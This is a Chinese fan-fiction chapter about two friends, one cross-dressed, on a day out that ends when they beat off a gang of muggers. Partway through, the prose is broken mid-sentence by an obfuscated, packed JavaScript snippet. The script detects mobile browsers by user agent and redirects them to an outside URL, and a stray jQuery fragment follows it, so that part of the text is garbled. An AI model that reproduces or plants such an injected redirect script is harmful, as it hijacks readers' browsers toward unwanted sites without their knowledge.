……已经可以想象有马知道桂生穿着女装跟他逛街一下午,还一起去打耳洞之后暴怒的样子了。别人认不出那是桂生,有马还能认不出吗? 为了保住自己的性命,为了兄弟之间的和谐。鹿沼他主动地拼接了一系列似是而非的,交握的手,捧在一起的奶茶杯之类不露脸,似是而非但是恋爱气息满点,谁能想到图里美甲的那个女方的手才是桂生的啊,最多只会以为桂生交了女朋友吧。 体贴过头了鹿沼,求生欲强烈过头了。 桂生发推了,“今天约会超开心w”然后配上他们在各个打卡点交握的手,比划的各种手势,模糊的背影,各种不露脸的出镜,配上暖色的滤镜,和审美满分的构图拼接。 一看就是女朋友做好了图让男方发出去宣誓主权的动态。 虽然休息了一会,但人就是一旦放松下来就完全懈力的类型,经过了一场休息,桂生疲惫的脚更累了,可是啊,可是啊,再不走的话,可能要赶不上末班车了。 鹿沼也想像有马一样帅气地把桂生抱在手臂上带回去,但是想到这里跟车站的距离,然后考虑到自己的体力。 今天回去我就增加锻炼,真的,我发誓。鹿沼叹了口气,在桂生面前蹲了下来。 “走吧——人家背你啦,就算明天不上课在外面开房也无所谓,但是外面的床小桂睡不惯吧。” 不…沼哥,其实现在我已经成长到能够熟练地在水坑里和垃圾桶边上呼呼大睡了,怎么样,厉害吧。 桂生干笑两声没敢应声,但还是趴在了鹿沼的背上,把脸贴在他的后颈。 刺刺的,被剃得平整的发根扎在脸上,有一种奇妙的感触。有些粗糙,却又能够感受到头皮格外高于其他皮肤的温度。 这里本来有一片很长很漂亮的头发。鹿沼的头发本来就又黑又多,而且还被他精心保养得很好,小时候开始桂生就很喜欢玩他的头发。虽然保养起来很费劲,但是鹿沼也从来不会拒绝桂生用蹩脚的手法给他编辫子。 但是现在剃掉了,还挺难过的。 桂生尊重鹿沼的决心,所以再怎么难过他也不会说出来的,总不能因为自己的任性成为鹿沼前行的阻碍。 桂生带着淡淡忧伤想着那些少年漫气氛的“觉悟”啊“羁绊”啊之类的东西,但从他的内心世界走出来,实际上他的行为看起来像只猫在吸猫薄荷一样完全不顾鹿沼死活地在鹿沼脖子上乱蹭。 而鹿沼,鹿沼像是被猫吸的人类一样。他不敢说,刚剃了头发的那个地方其实超敏感,只是用手摸上去都会觉得热热的,现在被桂生当猫薄荷一样吸…… 也不是不能理解啦,毕竟剃掉了之后那个手感还挺奇妙的。他刚剃完的时候有马抱着他的脑袋盘了很久,因为很喜欢这个手感,然后才决定自己也要剃掉半边头发。 得说点什么,不然这个气氛真的太奇怪了。鹿沼开了个头,两个人很自然地聊起了最近发生的事情。 鹿沼知道他是面具人的事情,许多压在心里没法跟别人说的事情在鹿沼的面前都变得轻易能说出口了。 两个人有说有笑地嘀嘀咕咕交头接耳,踩着月光和路灯的影子往车站走。 说他俩不是小情侣谁信啊。 本来一切该是甜蜜美好的样子,但是这附近的治安不太好。 说实话,加入狮子头连之后鹿沼已经很久没有像这样被当做肥羊被人围住了。这种感觉陌生得可怕,以至于被围住,被叫停的时候他也好桂生也好都没有意识到现在被挑衅的是他俩。 明明被团团围住,还毫无察觉地往前走着,被人挡在面前也只是很平淡的说“不好意思让一下。” 理所当然的没拉动,理所当然地被当做挑衅了。 诶?你们要打劫我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132736|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩?真的假的。 这会鹿沼的表情比160话里看着柊和佐狐面面相觑15分钟不说话的时候还要茫然。也不管对面的叫嚣,走到墙角把桂生放了下来。 “小…薰在这边等人家一下哦,马上就好了。”这么说着,还把身上的外套脱下来披在了桂生的身上,把手机和充电宝都塞进了桂生手里。 毕竟是今天一起挑的衣服,才不要没穿一天就沾上别人的血啦。 说完之后鹿沼把衣袖挽到了手肘,低低地叹了一口气。“都怪你们啦,本来人家要跟小薰有一场完美的约会了诶,现在气氛不是完全没有啦吗?” 桂生倒是没有觉得被保护了被小看了之类的。虽然一直都努力着想帮上忙,但是这种水平的东西都他都要插手的话就太扫兴了吧? 怎么可以打扰沼哥玩啦。在桂生心里,这群人又没有拿武器,这种水平的家伙漏过一个人都算是沼哥退步了。 像个乖巧地小女友一样抱着衣服和手机乖乖等着。甚至特别放松地开始玩鹿沼的手机。 说起来可能没人信,他和有马的指纹都录进去了。他们三个因为一直在一起,其实都录了相互之间的指纹,平时会帮忙接个电话买点东西之类的。 啊……换了新手机了,待会得把沼哥的指纹录进去才行。桂生恍然大悟,然后打开相册,果然找到了几张被鹿沼自己觉得没拍好,但是桂生觉得很好看的照片。 其中有一张跳起来的背影,他跳起来转过头回来看鹿沼,虽然氛围很好但是头发挡住了脸让鹿沼觉得不是很满意。 这不是很好看吗!! 桂生在“你完全不会读空气的吗”、“就是你说要打劫人家的吗”、“刚刚就是你说小薰的声音不可爱吗”的质问与人类肢体碰撞的背景音里,气呼呼地把可爱到照片发给了自己,然后还把那张特别有氛围感又看不清脸的照片设置为了桌面。 其实桂生隐隐约约也察觉到了,鹿沼在有意无意地保护着女装时自己的身份。虽然不在意啦,但是被保护、被在意的感觉不是很温暖吗! 虽然自己不是很在意,不过沼哥这么努力地隐藏,那自己也不能让对方的努力白费吧? 正当桂生决定要保护好自己身份时,突然听到鹿沼惊慌的声音。 一般来说就算数目上差距很明显这种实力差之下鹿沼也不会失手让人靠近桂生,但是在疯了一天之后又背着桂生走了这么长一段路……桂生虽然小小只但高低也有45kg,换算成10斤的大米他也背了9袋了。体力上有些消耗,动作会迟缓一点也很正常吧? 这个时候鹿沼心里一慌,根本没想起桂生是那个他们十个好死赖追都追不上的面具人。眼看着那个人渣的脏手要碰到桂生时鹿沼一急干脆放弃了自己的所有防御把背后暴露给了那群人对着桂生都身侧飞起一脚。 而桂生看起来茫然,听到鹿沼的提醒也警醒了,他看起来在发呆其实在思考怎么攻击。没有武器,还做了美甲,用拳头打上去得痛好久…… 正当他这么想,脑袋里却忽然出现了椿椿从天而降用鞋跟将刀刃击飞的样子。 很少有人同时脸上会被人踹的同时肚子还能同时被人踹上一脚,这位兄弟做到了。 飞起的裙摆,回旋着踹上去的腿,与鹿沼平行踢出。 好事的路人把这一幕拍了下来。在这座治安稀碎的城市里每晚都会出现一些都市传说,江山代有才人出,继面具人五十人虎口逃生之后,出现了一对十分恶毒的小情侣。 传言,在夜幕落下时,会有一对腻腻歪歪的小情侣,虽然穿得粉粉嫩嫩男的柔弱女的矮小,但如果有人不长眼胆敢上去打扰他们谈恋爱,就会遭遇不输给被驴踢力度的飞踢,一次被踢飞十米远。 说实话,因为完全没有解码,以至于第二天桂生收到榆井的信息时完全没有想过自己是当事人。 哎呀,夏天要来了,暑假就是要青春和乱来嘛,要回家去看看吗? 桂生开始思考要不要计划暂停,先回去跟雪哥贴贴。